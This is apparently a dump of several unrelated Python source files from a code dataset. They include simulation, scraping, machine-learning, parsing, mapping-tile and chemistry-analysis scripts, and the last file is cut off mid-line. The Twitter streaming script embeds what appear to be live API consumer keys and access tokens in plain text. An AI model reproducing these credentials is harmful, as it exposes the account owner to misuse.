parser.add_argument('-o', '--output_directory', type=str,\n help='directory to save simulation data in')\n parser.add_argument('-s', '--pn_shift', type=int, default=0,\n help='shift the PN spikes over the PN population by this many PNs')\n parser.add_argument('-d', '--pn_dither', type=float, default=0.0,\n help='dither the PN spikes by maximum of this much time (in ms)')\n parser.add_argument('--n_kc_vm', type=int, default=500,\n help='number of KCs to record Vm from')\n parser.add_argument('--n_ggn_vm', type=int, default=100,\n help='number of section of GGN in each region to record from')\n parser.add_argument('--recstep', default=5, type=int,\n help='number of integration steps per data recording step')\n parser.add_argument('--simtime', type=float, help='Simulation time (ms)')\n parser.add_argument('--savesyn', action='store_true', help='Save the synapse information (these are humongous data)')\n parser.add_argument('--debug', action='store_true',\n help='Set log level to debug. Default is info')\n parser.add_argument('--test_kc', type=int, default=-1, help='Inject current into KC with this index')\n parser.add_argument('--kc_current', type=str, default='0pA', help='Amount of current (with unit) to inject in test kc')\n return parser\n\n\ndef main():\n cfg.logger.info('COMMAND LINE: {}'.format(' '.join(sys.argv)))\n print('COMMAND LINE: {}'.format(' '.join(sys.argv)))\n sys.stdout.flush()\n parser = make_parser()\n args = parser.parse_args()\n if args.debug:\n cfg.logger.setLevel(10)\n else:\n cfg.logger.setLevel(20)\n run_model(args)\n \n\nif __name__ == '__main__':\n # test(infile='/data/rays3/ggn/fixed_net/mb_net_UTC2018_09_25__22_25_34-PID16017-JID10014019.h5')\n main()\n\n\n\n#\n# fixed_network_changing_stim.py ends here\n","sub_path":"mb/network/fixed_network_changing_stim.py","file_name":"fixed_network_changing_stim.py","file_ext":"py","file_size_in_byte":37203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514269515","text":"def score_test(key, test):\n if len(key) != len(test):\n return \"Too many or too few answers!\"\n\n match = 0\n\n for i in range(len(key)):\n if key[i] == test[i]:\n match += 1\n return \"Student earned {} out of {} possible points\".format(match, len(key))\n\n\ndef main():\n key = \"ab\"\n test = \"bc\"\n print(score_test(key, test))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"MidtermPracticeExtra/Q3.py","file_name":"Q3.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"372772104","text":"import json\n#import elasticsearch as es\nimport tweepy as tpy\n\nclass Listener(tpy.StreamListener):\n\n def on_error(self, status_code):\n if status_code == 420:\n #returning False in on_data disconnects the stream\n return False\n\n def on_status(self, data):\n # When a tweet is published it arrives here.\n print(data.text) \n\nCONSUMER_KEY = '35XN6rmuay7ufJX57OfPKUfkY'\nCONSUMER_SECRET = 'dakuxOx6Dd4n2QkNPSv6ZzRma9NK8amOqTCuxSOympdwzeX2P4'\nACCESS_KEY = '237553414-pmSc80sy29u1NRaG4Xd5lwHODz5mRsb8avRGJjxz'\nACCESS_SECRET = 'W7wSJDd4mUKWA53vxJoulFX3QJKVkAsy0wq4sLRt1fSii'\n\nauth = tpy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\nauth.secure = True\n\nauth.set_access_token(ACCESS_KEY, ACCESS_SECRET)\napi = tpy.API(auth)\n\n\nprint(\"===== Tweets en tiempo real =====\")\n\n\n# Connect to the stream\nprint(\">> Escuchando Tweets en #Python:\")\nescucha = Listener()\nStream = tpy.Stream(auth=api.auth, listener=escucha)\nStream.filter(track=['asot'])\n","sub_path":"UtilidadGit/scripts BD/pruebaElMongo/lectortweets.py","file_name":"lectortweets.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"91412543","text":"from bs4 import BeautifulSoup\nimport json\nimport re\nimport requests\nzh2num = {'日':0,'一':1,'二':2,'三':3,'四':4,'五':5,'六':6}\nclass2num = {'0':0,'1':1,'2':2,'3':3,'4':4,'5':5,'6':6,'7':7,'8':8,'9':9,'10':10,'A':11,'B':12,'C':13,'D':14}\n\noption = [1,2,4,5,6]\n# option = [1]\npara_pe = {\n\t\"op\": \"S\",\n\t\"current_sem\": \"110-1\",\n\t\"cou_cname\": \"\",\n\t\"tea_cname\": \"\",\n\t\"year_code\": \"1\",\n\t\"alltime\": \"yes\",\n\t\"allproced\": \"yes\",\n\t\"Submit\": \"%ACd%B8%DF\"\n}\nfinal = {}\nfor gym_op in option:\n print(f\"Fetching and parsing gymnastics course type {gym_op}\")\n para_pe[\"year_code\"] = gym_op\n\n courses = []\n start = 0\n course_count = 1 # Just a number so it can go in the while loop\n while(start < course_count):\n para_pe['startrec'] = f\"{start}\"\n r = requests.get(\"https://nol.ntu.edu.tw/nol/coursesearch/search_for_09_gym.php\", params=para_pe)\n r.encoding = 'big5'\n start += 15\n soup = BeautifulSoup(r.text,features=\"html.parser\")\n table = soup.find_all('table')\n for i in range(len(table)):\n if \"筆課程:\" in table[i].text:\n count_index = i\n # print(f\"amount in {i}\")\n if \"流水號\" in table[i].text:\n course_table_index = i\n # print(f\"course in {i}\")\n course_count = int(table[count_index].find_all('font')[0].text)\n course_table = table[course_table_index]\n # print(table)\n rows = course_table.find_all('tr')\n\n for row in rows[1:]:\n columns = row.find_all('td')\n # print(columns)\n tmp = {}\n tmp['type'] = '體育'\n # 流水號\n tmp[\"waterNum\"] = columns[0].text\n # 課程編號\n tmp[\"courseID\"] = columns[2].text\n # 課程名稱\n try:\n tmp[\"courseName\"]=columns[4].a.text\n except AttributeError:\n tmp[\"courseName\"] = '[沒有名稱]'\n # 學分數\n tmp[\"credit\"] = columns[6].text\n # 教師\n try:\n tmp[\"teacher\"] = columns[10].a.text\n except AttributeError:\n tmp[\"teacher\"] = '無名氏'\n # 時間 地點\n \n match = re.findall(r\"([一二三四五六日][0-9,ABCD]*)\\(([^\\(\\)]*)\\)\",columns[12].text)\n # print(match)\n timetable = []\n tmp['location'] = ''\n for m in match:\n s = m[0]\n day = zh2num[s[0]]\n tmp[\"location\"] += f'{s[0]}:{m[1]} '\n period = [class2num[x] for x in s[1:].split(',')]\n for p in period:\n timetable.append(15*day+p)\n\n tmp[\"timetable\"] = timetable\n # 限制條件\n tmp[\"condition\"] = columns[14].text\n # 備註\n tmp[\"description\"] = columns[15].text\n \n # print(tmp)\n courses.append(tmp)\n final[f'{gym_op}'] = courses\nprint(\"=> Writing gymnastics courses to json...\")\nwith open('data/pe.json', 'w') as f:\n f.write(json.dumps(final))","sub_path":"scripts/parse_pe.py","file_name":"parse_pe.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541317819","text":"'''\nwrite a program to print the following pattern\nA B D G \nG H J \nJ K \nK \n\n'''\na=70\nfor i in range(4,0,-1):\n\ta=a-i-1\n\tb=0\n\tfor j in range(i):\n\t\tprint(chr(a),end=\" \")\n\t\tb=b+1\n\t\ta=a+b\n\tprint(\" \")\n","sub_path":"Python/DailyFlash/27feb2020/MySolutions/program4.py","file_name":"program4.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"336299890","text":"import mysql.connector\n\n# We beginnen met het opzetten van een connectie met onze database server \ncnx = mysql.connector.connect(user='____', password='____', host='____', database='____', port=12345)\ncursor = cnx.cursor()\n\n# Nu gaan we de groeppeerde data uit de database halen \nquery = (\"\"\"\nSELECT \n WEEKOFYEAR(datum) as w, \n count(*) as cur\nFROM aanmeldingen \ngroup by w;\n\"\"\")\ncursor.execute(query)\n\nclasses = {}; X = []\nfor i in range(1, 16):\n classes[i] = 0\n\n# laten we de klassen maken\nfor (w, cur) in cursor:\n X.append(cur); classes[int(cur / 250)] += 1\n\n# tabel op het scherm zetten\nprint(\"Klasse, \\t \\t Aantal\")\nfor j in range(len(classes)):\n i = j+1 \n print(\"{0}-{1} \\t {2}\".format(i*250, (i+1)*250, classes[i]))\n\ncursor.close()\ncnx.close()\n\n\n\n\nimport numpy\nfrom scipy import stats\n\nprint(stats.mode(X)[0])\nprint(numpy.median(X))\n\n\nimport numpy\n\nprint(numpy.average(X))\nprint(numpy.std(X))","sub_path":"opdracht3/opdracht3-4.py","file_name":"opdracht3-4.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"125558145","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 3 16:18:33 2020\r\n\r\n@author: Vishal\r\n\"\"\"\r\n\r\n\r\n# Importing the libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n\"\"\" Part-1 Data Preprocessing\"\"\"\r\n\r\n# Importing the dataset\r\ndataset = pd.read_csv('Churn_Modelling.csv')\r\nX = dataset.iloc[:, 3: 13].values\r\ny = dataset.iloc[:, 13].values\r\n\r\nmissing_values = pd.DataFrame(X).isnull().sum()\r\n\r\n#handling categorical variables\r\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\r\nlabelencoder_x1 = LabelEncoder()\r\nX[:,1] = labelencoder_x1.fit_transform(X[:, 1])\r\nlabelencoder_x2 = LabelEncoder()\r\nX[:,2] = labelencoder_x1.fit_transform(X[:, 2])\r\n\r\nonehotencoder = OneHotEncoder(categorical_features = [1])\r\nX = onehotencoder.fit_transform(X).toarray()\r\nX = X[:, 1:]\r\n\r\n# Splitting the dataset into the Training set and Test set\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\r\n\r\n# Feature Scaling\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc = StandardScaler()\r\nX_train = sc.fit_transform(X_train)\r\nX_test = sc.transform(X_test)\r\n\r\n# Fitting Logistic Regression to the Training set\r\n\"\"\"Part-2 Making ANN\"\"\"\r\nimport keras\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\n\r\n#Initialising ANN\r\nclassifier = Sequential()\r\n\r\nclassifier.add(Dense(output_dim = 6, init = 'uniform', activation = 'relu', input_dim = 11))\r\nclassifier.add(Dense(output_dim = 6, init = 'uniform', activation = 'relu'))\r\nclassifier.add(Dense(output_dim = 1, init = 'uniform', activation = 'sigmoid'))\r\nclassifier.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])\r\n\r\n#fitting the ANN\r\nclassifier.fit(X_train, y_train, batch_size = 10, epochs = 100)\r\n# Predicting the Test set results\r\ny_pred = classifier.predict(X_test)\r\nfor i in range(0,2000):\r\n if(y_pred[i,0] > 0.5):\r\n y_pred[i,0] = 1\r\n else:\r\n y_pred[i,0] = 0\r\n \r\n\r\nfrom sklearn.metrics import confusion_matrix\r\ncm = confusion_matrix(y_test, y_pred)","sub_path":"artificialNN.py","file_name":"artificialNN.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"260786349","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n TimeTo Task Manager - Helps boosting productivity of different, recurring tasks,\n by opening relevant websites, files and programs.\n\"\"\"\n\nimport argparse\nimport datetime\nimport glob\nimport json\nimport logging\nimport os\nimport platform\nimport shlex\nimport subprocess\nimport time\nimport webbrowser\n\nimport pathlib\nfrom clint import resources\nfrom clint.textui import colored, puts, indent\nfrom pkg_resources import resource_string\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(asctime)s | %(levelname)s | %(message)s')\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\nTASKS_FILENAME = 'example-tasks.json'\n\n\nclass BaseOS(object):\n\n def __init__(self):\n super(BaseOS, self).__init__()\n self.processes = []\n\n def open_app(self, app):\n p = subprocess.Popen(['open', '-a', app])\n self.processes.append(p)\n\n def open_file(self, path):\n webbrowser.open(pathlib.Path(path).as_uri())\n\n def open_url(self, url):\n webbrowser.open(url, autoraise=True)\n\n\nclass Windows(BaseOS):\n def __init__(self):\n super(Windows, self).__init__()\n self.paths = self.discover_software()\n\n def discover_software(self):\n paths = []\n for root, dirs, files in os.walk(os.getenv(\"ProgramFiles\")):\n if glob.glob(os.path.join(root,\"*.exe\")):\n paths.append(root)\n for root, dirs, files in os.walk(os.getenv(\"ProgramW6432\")):\n if glob.glob(os.path.join(root, \"*.exe\")):\n paths.append(root)\n return paths\n\n\n def open_app(self, app):\n env = os.environ.copy()\n env['PATH'] += \"/;\".join(self.paths)\n p = subprocess.Popen(shlex.split(app), shell=True,env=env)\n self.processes.append(p)\n\n\nclass MacOSX(BaseOS):\n TOGGLE_DND = 'ignoring application responses\\ntell application \"System Events\" to keystroke \"D\" using {command down, shift down, option down, control down}\\nend ignoring'\n\n def __init__(self):\n super(MacOSX, self).__init__()\n self.dnd = False\n\n def toggle_dnd(self):\n \"\"\" toggle macOS Do Not Disturb mode \"\"\"\n puts('Toggling DND mode')\n subprocess.Popen(['osascript', '-e', self.TOGGLE_DND])\n self.dnd = not self.dnd\n\n\nclass Task(object):\n def __init__(self, name, tasks):\n self.name = name\n self.tasks = tasks\n self.processes = None\n self.dnd = False\n self.start_datetime = None\n self.time = None\n if platform.system() == \"Windows\":\n self.os = Windows()\n elif platform.system() == \"Darwin\": # Darwin = Mac\n self.os = MacOSX()\n else:\n self.os = BaseOS()\n\n def start(self):\n puts(colored.green('It\\'s time to %s. Opening stuff for you...' % self.name))\n with indent(4, quote=' >'):\n if 'dnd' in self.tasks[self.name] and self.tasks[self.name]['dnd']:\n if getattr(self.os, \"toggle_dnd\"):\n self.os.toggle_dnd() # DND mode activated\n else:\n puts(colored.red(\"dnd is not supported by your OS\"))\n for url in self.tasks[self.name].get(\"urls\", []):\n puts('Opening %s' % url)\n self.os.open_url(url)\n for fpath in self.tasks[self.name].get(\"files\", []):\n puts('Opening %s' % fpath)\n self.os.open_file(fpath)\n for app in self.tasks[self.name].get(\"apps\", []):\n puts('Opening %s' % app)\n self.os.open_app(app)\n\n self.start_datetime = datetime.datetime.today()\n\n def end(self):\n # Turn off DND mode\n if self.dnd:\n self.os.toggle_dnd()\n end_datetime = datetime.datetime.today()\n task_timedelta = end_datetime - self.start_datetime\n self.time = task_timedelta\n puts(colored.yellow('Task finished. Took about %s' % str(task_timedelta).split('.')[0]))\n\ndef list_tasks(tasks):\n \"\"\"\n nicely lists the available tasks given as an input\n \"\"\"\n puts(colored.yellow(\"Available tasks:\"))\n with indent(4, quote=' >'):\n for task in tasks.keys():\n puts(task)\n\ndef main():\n # init user resources\n resources.init(\"TimeTo\", \"timeto\")\n if not resources.user.read(\"tasks.json\"):\n resources.user.write(\"tasks.json\", resource_string(__package__, TASKS_FILENAME).decode('utf-8'))\n\n tasks = json.loads(resources.user.read(\"tasks.json\"))\n\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"task\", help=\"start the specified task\", nargs='?')\n parser.add_argument(\"-l\", \"--list\", help=\"list available tasks\",\n action=\"store_true\")\n args = parser.parse_args()\n\n if args.list:\n list_tasks(tasks)\n\n elif args.task in tasks.keys():\n t = Task(name=args.task, tasks=tasks)\n t.start()\n try:\n puts(colored.green(\"Everything is ready for you. Timeto be Productive :)\"))\n while True:\n time.sleep(1000)\n except (IOError, KeyboardInterrupt):\n t.end()\n else:\n puts(colored.red(\"Task not found.\"))\n list_tasks(tasks)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"timeto/timeto.py","file_name":"timeto.py","file_ext":"py","file_size_in_byte":5379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"76232793","text":"import sys, logging, sqlite3, time\n\nlogger = logging.getLogger(__name__)\n\nfrom util import mbtiles_connect, prettify_connect_string\nfrom util_convert import parse_and_convert_tile_bbox, parse_bbox, tiles_for_bbox\n\ndef expire_mbtiles(mbtiles_file, **kwargs):\n\n scale = kwargs.get('tile_scale', None)\n zoom = kwargs.get('zoom', -1)\n min_zoom = kwargs.get('min_zoom', 0)\n max_zoom = kwargs.get('max_zoom', 18)\n\n auto_commit = kwargs.get('auto_commit', False)\n journal_mode = kwargs.get('journal_mode', 'wal')\n synchronous_off = kwargs.get('synchronous_off', False)\n expire_days = kwargs.get('expire', 0)\n\n if expire_days == 0:\n return\n\n if zoom >= 0:\n min_zoom = max_zoom = zoom\n elif min_zoom == max_zoom:\n zoom = min_zoom\n\n\n con = mbtiles_connect(mbtiles_file, auto_commit, journal_mode, synchronous_off, False, True)\n\n logger.info(\"Expiring tiles from %s\" % (prettify_connect_string(con.connect_string)))\n\n expire_timestamp = (int(time.time()) - (int(expire_days) * 86400))\n\n logger.debug(\"Expiring tiles older than %s\" % (time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(expire_timestamp))))\n\n con.expire_tiles(min_zoom, max_zoom, 0, expire_timestamp, scale)\n\n con.optimize_database(kwargs.get('skip_analyze', False), kwargs.get('skip_vacuum', False))\n con.close()\n\n\ndef expire_tiles_bbox(mbtiles_file, **kwargs):\n\n scale = kwargs.get('tile_scale', None)\n zoom = kwargs.get('zoom', -1)\n min_zoom = kwargs.get('min_zoom', 0)\n max_zoom = kwargs.get('max_zoom', 18)\n\n flip_tile_y = kwargs.get('flip_y', False)\n bbox = kwargs.get('bbox', None)\n tile_bbox = kwargs.get('tile_bbox', None)\n\n auto_commit = kwargs.get('auto_commit', False)\n journal_mode = kwargs.get('journal_mode', 'wal')\n synchronous_off = kwargs.get('synchronous_off', False)\n\n print_progress = kwargs.get('progress', False)\n\n if zoom >= 0:\n min_zoom = max_zoom = zoom\n elif min_zoom == max_zoom:\n zoom = min_zoom\n\n\n if tile_bbox == None and bbox == None:\n logger.info(\"Either --tile-bbox or --bbox must be given, exiting...\")\n return\n\n\n min_x = min_y = max_x = max_y = 0\n\n if tile_bbox:\n min_x, min_y, max_x, max_y = parse_and_convert_tile_bbox(tile_bbox, flip_tile_y)\n else:\n min_x, min_y, max_x, max_y = parse_bbox(bbox)\n\n\n con = mbtiles_connect(mbtiles_file, auto_commit, journal_mode, synchronous_off, False, True)\n\n logger.info(\"Expiring tiles from %s\" % (prettify_connect_string(con.connect_string)))\n\n for tile_z in range(min_zoom, max_zoom+1):\n for tile_z, tile_x, tile_y in tiles_for_bbox(min_x, min_y, max_x, max_y, tile_z, flip_tile_y):\n logger.debug(\"Expiring tile %d/%d/%d\" % (tile_z, tile_x, tile_y))\n if print_progress:\n sys.stdout.write(\"\\rExpiring tile %d/%d/%d\" % (tile_z, tile_x, tile_y))\n\n con.expire_tile(tile_z, tile_x, tile_y, scale)\n\n\n if print_progress:\n sys.stdout.write('\\n')\n\n con.optimize_database(kwargs.get('skip_analyze', False), kwargs.get('skip_vacuum', False))\n con.close()\n","sub_path":"mbutil/util_expire.py","file_name":"util_expire.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"280740219","text":"\n# coding: utf-8\n\n# In[47]:\n\n\nfrom collections import defaultdict\nimport pickle\nfrom pprint import pprint\n\n\n# In[48]:\n\n\ntraining_file=\"../../data/mstparser-en-train.dep\"\nnum_iter=100\n\n\n# In[ ]:\n\n\ndata, queue, heads = [], [], [-1]\nfor idx, line in enumerate(open(training_file, \"r\", encoding=\"utf-8\")):\n line = line[:-1]\n\n if len(line) == 0:\n data.append((queue, heads))\n heads, queue = [], []\n else:\n ID, word, base, POS, POS2, _, head, type_ = line.split(\"\\t\")\n head = int(head)-1\n ID = int(ID)-1\n queue.append((ID, word, POS))\n heads.append(head)\n\nweight_shift = defaultdict(float)\nweight_left = defaultdict(float)\nweight_right = defaultdict(float)\n\nfor i in range(num_iter):\n if i % 10 == 0:\n print(\"training iteration {}\".format(i))\n for queue, heads in data:\n \n weight_shift, weight_left, weight_right = ShiftReduceTrain(\n queue, heads, weight_shift, weight_left, weight_right)\n \n\npickle.dump((weight_shift, weight_left, weight_right),\n open(\"weights.pkl\", \"wb\"))\n\n\n# In[108]:\n\n\ndef ShiftReduceTrain(queue, heads, weight_shift, weight_left, weight_right):\n stack = [(0, \"ROOT\", \"ROOT\")]\n unproc = []\n for i in range(len(heads)):\n unproc.append(heads.count(i))\n\n while len(queue) > 0 or len(stack) >1:\n features = MakeFeatures(stack, queue)\n\n score_shift = PredictScore(weight_shift, features)\n score_left = PredictScore(weight_left, features)\n score_right = PredictScore(weight_right, features)\n\n if (score_shift > max(score_left, score_right) and\n len(queue) > 0) or len(stack) < 2:\n predict = \"shift\"\n elif score_left > max(score_shift, score_right):\n predict = \"left\"\n else:\n predict = \"right\"\n\n if len(stack) < 2:\n correct = \"shift\"\n elif heads[stack[-1][0]] == stack[-2][0] and unproc[stack[-1][0]] == 0:\n correct = \"right\"\n elif heads[stack[-2][0]] == stack[-1][0] and unproc[stack[-2][0]] == 0:\n correct = \"left\"\n else:\n correct = \"shift\"\n \n\n if predict != correct:\n weight_shift, weight_left, weight_right = UpdateWeights(\n weight_shift, weight_left, weight_right, features, predict,\n correct)\n \n if correct == \"shift\":\n try:\n stack.append(queue.pop(0))\n except IndexError:\n print(stack)\n input()\n elif correct == \"left\":\n unproc[stack[-1][0]] -= 1\n stack.pop(-2)\n elif correct == \"right\":\n unproc[stack[-2][0]] -= 1\n stack.pop(-1)\n return weight_shift, weight_left, weight_right\n\n\n# In[77]:\n\n\ndef MakeFeatures(stack, queue):\n features=defaultdict(int)\n \n if len(stack)>0 and len(queue)>0:\n features[(\"W-1\",stack[-1][1],\"W0\",queue[0][1])]+=1\n features[(\"W-1\",stack[-1][1],\"P0\",queue[0][2])]+=1\n features[(\"P-1\",stack[-1][2],\"W0\",queue[0][1])]+=1\n features[(\"P-1\",stack[-1][2],\"P0\",queue[0][2])]+=1\n \n if len(stack)>1:\n try:\n features[(\"W-2\",stack[-2][1],\"W-1\",queue[-1][1])]+=1\n features[(\"W-2\",stack[-2][1],\"P-1\",queue[-1][2])]+=1\n features[(\"P-2\",stack[-2][2],\"W-1\",queue[-1][1])]+=1\n features[(\"P-2\",stack[-2][2],\"P-1\",queue[-1][2])]+=1\n except:\n pass\n return features\n\n\n# In[74]:\n\n\ndef PredictScore(weight,features):\n score=0\n for feat in features:\n score+=weight[feat]*features[feat]\n return score\n \n\n\n# In[75]:\n\n\ndef UpdateWeights(weight_shift, weight_left, weight_right,\n features,predict, correct):\n if predict==\"shift\" and correct==\"left\":\n for feat in features:\n weight_shift[feat]-=features[feat]\n weight_left[feat]+=features[feat]\n if predict==\"shift\" and correct==\"right\":\n for feat in features:\n weight_shift[feat]-=features[feat]\n weight_right[feat]+=features[feat]\n if predict==\"right\" and correct==\"left\":\n for feat in features:\n weight_right[feat]-=features[feat]\n weight_left[feat]+=features[feat]\n if predict==\"right\" and correct==\"shift\":\n for feat in features:\n weight_right[feat]-=features[feat]\n weight_shift[feat]+=features[feat]\n if predict==\"left\" and correct==\"right\":\n for feat in features:\n weight_left[feat]-=features[feat]\n weight_right[feat]+=features[feat]\n if predict==\"left\" and correct==\"shift\":\n for feat in features:\n weight_left[feat]-=features[feat]\n weight_shift[feat]+=features[feat]\n return weight_shift,weight_left,weight_right\n\n","sub_path":"vincentzlt/tutorial11/train-sr.py","file_name":"train-sr.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"214945864","text":"import json, os\nimport matplotlib.pyplot as plt\nfrom ase import atoms, io\nfrom copy import deepcopy\n\n'''\nResults Analysis\n'''\n\n'Inputs'\nsorted_plot = True\t\t#if True, bar plots of energies is sorted from lowest to highest\ndata_dir = '/home/aljama/CHA-full-MR-Pd/data/'\t\t\t#dir where json data are saved\ncalc_dir = '/home/aljama/CHA-full-MR-Pd/calculations/'\t\t#dir where calculations are done\nresults_dir = '/home/aljama/CHA-full-MR-Pd/results-analysis/' \t#dir where results are to be saved\nH_data = '/home/aljama/CHA-full-MR/data/'\t#dir where data for H adsorptions sites are saved\nring_data = '/home/aljama/CHA/data/' \t#dir with information on ring types, etc.\n\n'Load data from json files'\nwith open(data_dir+\"data_output.json\", \"r\") as read_file:\n data_output = json.load(read_file)\n\nwith open(data_dir+\"data.json\", \"r\") as read_file:\n data_original = json.load(read_file)\n\ndef calc_index(index):\n\t'''\n\tfinds the entry in data_output and matches it to the item in data_original ['index']\n\tInput : index in data_original\n\tOutput: entry in data_output\n\t'''\n\toutput = 'none' #make default is none, uncless calculation is available\n\n\tfor item in data_output:\n\t\tif data_output[item]['index'] == index:\n\t\t\tstat = '-sp-' in item\n\t\t\tif stat == True:\n\t\t\t\toutput = item\n\treturn output\n\ndef Al_Al(atoms):\n\t'''\n\tfinds distance between 2 Al atoms in qm region\n\tInput : ase atoms object\n\tOutput: Al-Al distance [unless there is one Al, distance then is 0] and number of Al atoms\n\t'''\n\n\tn_Al = 0 \t\t#number of Al atoms\n\tAl_index = []\t#index of Al atom\n\n\tfor atom in atoms:\n\t\tif atom.symbol == 'Al':\n\t\t\tn_Al += 1\n\t\t\tAl_index.append(atom.index)\n\n\tif n_Al == 1:\n\t\tdistance = 0\n\telif n_Al == 2:\n\t\tdistance = atoms.get_distance(Al_index[0],Al_index[1])\n\t\n\treturn distance, n_Al\n\ndef O_O(atoms, n_Al):\n\t'''\n\tfinds the distance between two oxygen atoms where H is bonded\n\tInputs:\n\t\tatoms: ase atoms object\n\t\tn_Al : number of Al atoms in qm region\n\tOutput: distance between two oxygen atoms where H is bonded [0 if n_Al = 1]\n\t'''\n\n\tH_index, O_index = [],[] #indexes of H and O atoms\n\n\tif n_Al == 1:\n\t\tdistance = 0\n\telif n_Al == 2:\n\t\tfor atom in atoms:\n\t\t\t'find H atoms in qm region'\n\t\t\tif atom.symbol == 'H':\n\t\t\t\tH_index.append(atom.index)\n\n\t\tfor H in H_index:\n\t\t\t'find closest O to the H'\n\t\t\td_min = 100 #start with a large value (dummy value)\n\n\t\t\tfor atom in atoms:\n\t\t\t\tif atom.symbol == 'O':\n\t\t\t\t\tif atoms.get_distance(H, atom.index) < d_min:\n\t\t\t\t\t\td_min = atoms.get_distance(H, atom.index)\n\t\t\t\t\t\tO_atom = atom.index\n\n\t\t\tO_index.append(O_atom)\n\t\n\t\tdistance = atoms.get_distance(O_index[0], O_index[1])\n\t\n\treturn distance\n\ndef sort(x_pos, E, colour):\n\t'''\n\tSort energies of structures from highest to lowest\n\tInputs:\n\t\tx_pos : label (number) of structures\n\n\t\tE : energy of the structure\n\t\tcolour: list of colors for each data based on ring type\n\tOutputs:\n\t\tnew_label: sorted name of each label corresponding to new_E\n\t\tnew_E : sorted energies\n\t\tx_pts\t : for plotting purposes, from 0 to len(E)\n\t\tnew_color: sorted list of colors\n\t'''\n\tE_data, new_label, new_E, x_pts,new_color = {},[],[],[],[]\n\tE_copy = deepcopy(E)\n\n\tfor index, item in enumerate(E_copy):\n\t\t'define a dict with entries being structure name'\n\t\tE_data[x_pos[index]] = E_copy[index]\n\tE_copy.sort() #sort energies from lowest to highest\n\n\tfor index, E_item in enumerate(E_copy):\n\t\tx_pts.append(index)\t\t\t#x-axis points in the plot\n\t\tx = list(E_data.values()).index(E_item) \n\t\tnew_label.append(x_pos[x])\t\t#name of the label of each structure\n\t\tnew_E.append(E_item)\t\t\t#sorted energies\n\t\tnew_color.append(colour[x])\n\t\t\n\treturn new_label, new_E, x_pts, new_color\n\ndef min_H(ref):\n\t'''\n\tout of the 16 possible configurations of H sites, identify the lowest energy\n\tInputs: ref - name of the original zeolite from which the Pd2+ was created (as well as H2+ by definition)\n\tOutput: minimum energy of the zeolite structure with protons (out of the 16 possibilities)\n\t'''\n\n\t'load data of H adsorbed on zeolite'\n\twith open(H_data+'/data.json','r') as read_file:\n\t\tdata_H = json.load(read_file)\n\n\twith open(H_data+'/data_output.json','r') as read_file:\n\t\tdata_H_output = json.load(read_file)\n\n\tlist_ref = []\t#save items that share the same reference\n\n\tfor item in data_H:\n\t\t'generate a list of items sharing the same zeolite reference (from which H2+ is created)'\n\t\tif data_H[item]['reference'] == ref:\n\t\t\tif item != ref:\n\t\t\t\tlist_ref.append(item[0:-5])\n\n\tmin_energy = 0\t#define a high energy as starting point\n\n\tfor item in data_H_output:\n\t\t'find energy of each item in list of references'\n\t\tif data_H_output[item]['index'] in list_ref:\n\t\t\tif '-sp-' in item:\n\t\t\t\t'only extract calc from sp'\n\t\t\t\tif data_H_output[item]['energy'] < min_energy:\n\t\t\t\t\ta = item\n\t\t\t\t\tmin_energy = data_H_output[item]['energy'] \n\n\treturn min_energy\n\t\ndef rxn_energy(E, zeolite_H):\n\t'''\n\tcalculates rxn energy based on the following rxn:\n\tPd + [2H(+) z(2-)] --> Pd(2+) Z(2-) + H2O - 1/2 O2\n\t'''\n\tPd = -1496.0850202371\n\tH2O = -76.439413334\n\tO2 = -150.2765115625\n\n\tenergy = E + H2O - 0.5*O2 - Pd - zeolite_H\n\t\n\treturn energy*27.2114 \n\ndef find_MR(ref, ring_data, color_dict, original):\n\t'''\n\tfinds the type of MR based on the reference\n\tInputs:\n\t\tref : the original reference for the calculation\n\t\tring_data: dict of each type of MR and the original zeolites it represents\n\t\tcolor_dict: dict of each type of MR and the color associated with eac\n\t\toriginal: index name of the calculations conducted (under calculations folder)\n\t\t\n\tOutput: color of the index calculation based on the ref\n\t'''\n\tmatch_index = ''\n\tindex = ref[0:-5] #removes traj part\n\tfor item in ring_data:\n\t\tfor i in ring_data[item]:\n\t\t\tif str(i) == str(index):\n\t\t\t\tmatch_index = item\n\t\t\t\tbreak\n\tif 